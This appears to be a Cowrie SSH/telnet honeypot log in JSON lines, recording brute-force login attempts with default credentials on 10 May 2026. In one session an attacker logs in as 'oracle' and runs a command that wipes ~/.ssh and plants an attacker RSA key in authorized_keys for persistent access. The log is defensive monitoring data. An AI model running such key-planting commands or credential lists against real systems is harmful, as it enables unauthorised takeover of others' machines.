{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:28.990294Z","src_ip":"87.251.64.176","session":"210f6663bb4d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:29.089515Z","session":"210f6663bb4d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:29.186782Z","src_ip":"87.251.64.176","session":"210f6663bb4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:29.285678Z","src_ip":"87.251.64.176","session":"210f6663bb4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":50054,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2ad7ecd7774","protocol":"ssh","message":"New connection: 138.124.158.150:50054 (10.17.0.5:22) [session: c2ad7ecd7774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:35.792545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:35.797324Z","src_ip":"138.124.158.150","session":"c2ad7ecd7774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:35.978612Z","src_ip":"138.124.158.150","session":"c2ad7ecd7774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"@P@ssword1","message":"login attempt [admin/@P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:36.736835Z","src_ip":"138.124.158.150","session":"c2ad7ecd7774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:37.924360Z","src_ip":"138.124.158.150","session":"c2ad7ecd7774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":57108,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c0f2564ba5","protocol":"telnet","message":"New connection: 166.62.41.96:57108 (159.203.135.109:23) [session: 35c0f2564ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:49.270993Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":56976,"dst_ip":"10.17.0.5","dst_port":22,"session":"a50a30e63a79","protocol":"ssh","message":"New connection: 87.106.29.151:56976 (10.17.0.5:22) [session: a50a30e63a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:51.544566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:51.549115Z","src_ip":"87.106.29.151","session":"a50a30e63a79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:51.641273Z","src_ip":"87.106.29.151","session":"a50a30e63a79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1337","message":"login attempt [root/admin1337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:52.043553Z","src_ip":"87.106.29.151","session":"a50a30e63a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:53.138856Z","src_ip":"87.106.29.151","session":"a50a30e63a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82824468612671,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:20.099136Z","src_ip":"166.62.41.96","session":"35c0f2564ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":44504,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9ac020d1cd1","protocol":"ssh","message":"New connection: 20.82.144.240:44504 (159.203.135.109:22) [session: d9ac020d1cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:24.476416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:24.481655Z","src_ip":"20.82.144.240","session":"d9ac020d1cd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:24.549377Z","src_ip":"20.82.144.240","session":"d9ac020d1cd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2022.","message":"login attempt [root/admin2022.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:24.853041Z","src_ip":"20.82.144.240","session":"d9ac020d1cd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:25.924911Z","src_ip":"20.82.144.240","session":"d9ac020d1cd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":60213,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aaec91ad66b","protocol":"ssh","message":"New connection: 193.46.255.86:60213 (159.203.135.109:22) [session: 3aaec91ad66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:34.526553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:34.531348Z","src_ip":"193.46.255.86","session":"3aaec91ad66b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:34.657561Z","src_ip":"193.46.255.86","session":"3aaec91ad66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:35.239822Z","src_ip":"193.46.255.86","session":"3aaec91ad66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:36.375338Z","src_ip":"193.46.255.86","session":"3aaec91ad66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:37.505531Z","src_ip":"193.46.255.86","session":"3aaec91ad66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:38.635248Z","src_ip":"193.46.255.86","session":"3aaec91ad66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234","message":"login attempt [test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:39.764569Z","src_ip":"193.46.255.86","session":"3aaec91ad66b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:40.894526Z","src_ip":"193.46.255.86","session":"3aaec91ad66b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.212.118.99","src_port":56418,"dst_ip":"159.203.135.109","dst_port":23,"session":"1edc3c5dcfa6","protocol":"telnet","message":"New connection: 115.212.118.99:56418 (159.203.135.109:23) [session: 1edc3c5dcfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:44.830456Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":50552,"dst_ip":"10.17.0.5","dst_port":22,"session":"089e7cc658d2","protocol":"ssh","message":"New connection: 87.106.29.151:50552 (10.17.0.5:22) [session: 089e7cc658d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:45.295048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:45.299506Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:45.395169Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Abcd1234","message":"login attempt [oracle/Abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:45.802686Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.048116Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.051872Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.056234Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.154092Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.384269Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.388156Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.491704Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.495577Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":50568,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e9c788f6d36","protocol":"ssh","message":"New connection: 87.106.29.151:50568 (10.17.0.5:22) [session: 2e9c788f6d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.587230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.592363Z","src_ip":"87.106.29.151","session":"2e9c788f6d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:46.687238Z","src_ip":"87.106.29.151","session":"2e9c788f6d36","protocol":"ssh"}
